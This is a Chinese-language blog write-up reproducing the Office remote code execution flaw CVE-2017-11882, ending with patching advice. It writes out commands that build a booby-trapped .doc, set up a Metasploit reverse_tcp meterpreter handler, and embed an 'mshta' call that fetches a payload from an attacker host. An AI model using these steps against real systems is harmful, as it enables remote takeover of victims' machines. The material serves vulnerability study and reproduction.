隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

Preface

  这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

  利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

  主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

影响版本

  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

复现过程

国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

生成漏洞doc文件弹计算器

  生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

starnight:CVE-- starnight$ python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file >> test.doc <<

  用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

  除了可以弹计算器外,还能获取shell。

生成漏洞doc文件拿shell

  这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

  我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
/usr/share/metasploit-framework/modules/exploits/windows/new-exps
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
PS_shell.rb

  这样在启动msf时就能直接使用了:

msf > use exploit/windows/new-exps/PS_shell

  漏洞利用过程:

msf > use exploit/windows/new-exps/PS_shell
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job . [*] Started reverse TCP handler on 192.168.1.102:
msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.102:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.102:8080/abc"

  从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

  我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

starnight:CVE-- starnight$ python Command_CVE--.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
[*] Done ! output file >> test.doc <<

  再用Office打开这个doc,就能拿到meterpreter了:

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

  OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

  更多手法请参考:

    CVE-2017-11882漏洞复现和利用

漏洞修复

()下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补

()开启Windows Update功能,定期对系统进行自动更新

参考

  CVE-2017-11882利用

  CVE-2017-11882的复现、利用技巧以及修复方案

上一篇:CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析


下一篇:SMBv3远程代码执行漏洞复现(CVE-2020-0796)